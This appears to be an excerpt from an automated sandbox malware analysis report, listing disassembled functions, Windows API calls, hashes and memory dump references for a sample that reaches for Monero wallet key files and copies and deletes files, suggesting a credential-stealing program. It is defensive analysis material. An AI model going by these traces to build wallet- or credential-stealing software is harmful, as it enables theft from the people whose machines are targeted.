Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 429cd9ed00881184cd06f333792a0f195841020ac4db00291ac937b3aa6e30ee
Instruction ID: 7489062e566d5ead8c43294117062bf0fa4cac265465957102a8a2bafa06cc22
Opcode Fuzzy Hash: 429cd9ed00881184cd06f333792a0f195841020ac4db00291ac937b3aa6e30ee
Instruction Fuzzy Hash: 4201FBB094430CEAEB10EBE4DD49BEEBB78AB14705F208449E715B62C0D77455458B99

Function 00A040B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,014DD488,00000000,00020119,?), ref: 00A040F4
RegQueryValueExA.ADVAPI32(?,014DE5F8,00000000,00000000,00000000,000000FF), ref: 00A04118
RegCloseKey.ADVAPI32(?), ref: 00A04122
lstrcat.KERNEL32(?,00000000), ref: 00A04147
lstrcat.KERNEL32(?,014DE520), ref: 00A0415B

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 4824ca56c54aa170b5d737044d6482f0b1b56a4005b93ebd9149217a5c5d361c
Instruction ID: 7a0303036d2efeeac651b8b0bf4b8cc20527f1f88ea10bfc1b3fa110bee132e0
Opcode Fuzzy Hash: 4824ca56c54aa170b5d737044d6482f0b1b56a4005b93ebd9149217a5c5d361c
Instruction Fuzzy Hash: B94185B6D1010CABDB14EBA0EC46FFE737DAB88300F404558B756571C1EA759B988BE2

Function 6CAEC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CAEC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CAEC969
GetSystemInfo.KERNEL32(?), ref: 6CAEC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CAEC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CAEC9E2

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0eab274a3eff6298d205604007e79a42363443a5516e77b16b071687f20fb5d4
Instruction ID: 1613cef470aeef8597951b0f085038bed967f093e170f35c330a2cf3b3c8010e
Opcode Fuzzy Hash: 0eab274a3eff6298d205604007e79a42363443a5516e77b16b071687f20fb5d4
Instruction Fuzzy Hash: EA21FC317412186BDB05AFA4DC84BAEBBB9AB4A708F94051DF903A7780EB705C4487E1

Function 00A07E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A07E37
RtlAllocateHeap.NTDLL(00000000), ref: 00A07E3E
RegOpenKeyExA.KERNEL32(80000002,014CB908,00000000,00020119,?), ref: 00A07E5E
RegQueryValueExA.KERNEL32(?,014DD328,00000000,00000000,000000FF,000000FF), ref: 00A07E7F
RegCloseKey.ADVAPI32(?), ref: 00A07E92

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 4f85c1e37057c60e5685d858be7c2fb69616e24d9c1d92c3c5c6e3e3d87c53ac
Instruction ID: 0906ed31499517c9edaa3ac10b284ee7a2f84fd7b251ea8c37de9b954de4790d
Opcode Fuzzy Hash: 4f85c1e37057c60e5685d858be7c2fb69616e24d9c1d92c3c5c6e3e3d87c53ac
Instruction Fuzzy Hash: 05115EB1A54209EBD700DF94ED49FBFBBB8FB04B10F104159F605A72C0D77468108BA2

Function 009F12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009F12B4
RtlAllocateHeap.NTDLL(00000000), ref: 009F12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 009F12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 009F12F5
RegCloseKey.ADVAPI32(?), ref: 009F12FF

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f5ecf8101abe8ee418089a893a2f647569b71e93a4894fbcaf779c84b074a6b7
Instruction ID: e912575bf93e65ef2f5597c78f786cb825774f8c9e5d9766b684a327f8df8b5c
Opcode Fuzzy Hash: f5ecf8101abe8ee418089a893a2f647569b71e93a4894fbcaf779c84b074a6b7
Instruction Fuzzy Hash: 4B0131B9A50208BBDB00DFE0DC89FAEB7BCEB48701F008159FA45972C0D6719A118F91

Function 009FA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(014D8B28,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 009FA0BD
LoadLibraryA.KERNEL32(014C6638), ref: 009FA146

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A820: lstrlen.KERNEL32(009F4F05,?,?,009F4F05,00A10DDE), ref: 00A0A82B
Part of subcall function 00A0A820: lstrcpy.KERNEL32(00A10DDE,00000000), ref: 00A0A885

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

SetEnvironmentVariableA.KERNEL32(014D8B28,00000000,00000000,?,00A112D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00A10AFE), ref: 009FA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 009FA0B2, 009FA0C6, 009FA0DC

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: d404588bff59b6b49aea26ef107054044d9aab5737664f0b26c2e25d475886b0
Instruction ID: dc4a7e7ce9c6b2afb9dc2fde8412348906a3e2261ecc80c256eb3884f947ce4a
Opcode Fuzzy Hash: d404588bff59b6b49aea26ef107054044d9aab5737664f0b26c2e25d475886b0
Instruction Fuzzy Hash: EC4142F1921208AFCB04DFA4ED86FEE77B8BB59301F184128F685932A1DB355954CB63

Function 009FA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Part of subcall function 00A08B60: GetSystemTime.KERNEL32(00A10E1A,014DDD00,00A105AE,?,?,009F13F9,?,0000001A,00A10E1A,00000000,?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A08B86

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009FA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 009FA3FF
lstrlen.KERNEL32(00000000), ref: 009FA6BC

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

DeleteFileA.KERNEL32(00000000), ref: 009FA743

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 31d4b2e84bf4a4a76c55a13b69ef4b50ce1130a5135819a3dfbf8fe0224140ad
Instruction ID: d5bc4c8fcad7705e8ce1c01484a4661490b7210e58dee126e0c8c5397d3c1872
Opcode Fuzzy Hash: 31d4b2e84bf4a4a76c55a13b69ef4b50ce1130a5135819a3dfbf8fe0224140ad
Instruction Fuzzy Hash: 6DE1BD7291020C9ADB05EBA4EE96EEE7338AF74300F508559F517B60D1EF346A4DCB62

Function 009FD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Part of subcall function 00A08B60: GetSystemTime.KERNEL32(00A10E1A,014DDD00,00A105AE,?,?,009F13F9,?,0000001A,00A10E1A,00000000,?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A08B86

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009FD801
lstrlen.KERNEL32(00000000), ref: 009FD99F
lstrlen.KERNEL32(00000000), ref: 009FD9B3
DeleteFileA.KERNEL32(00000000), ref: 009FDA32

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
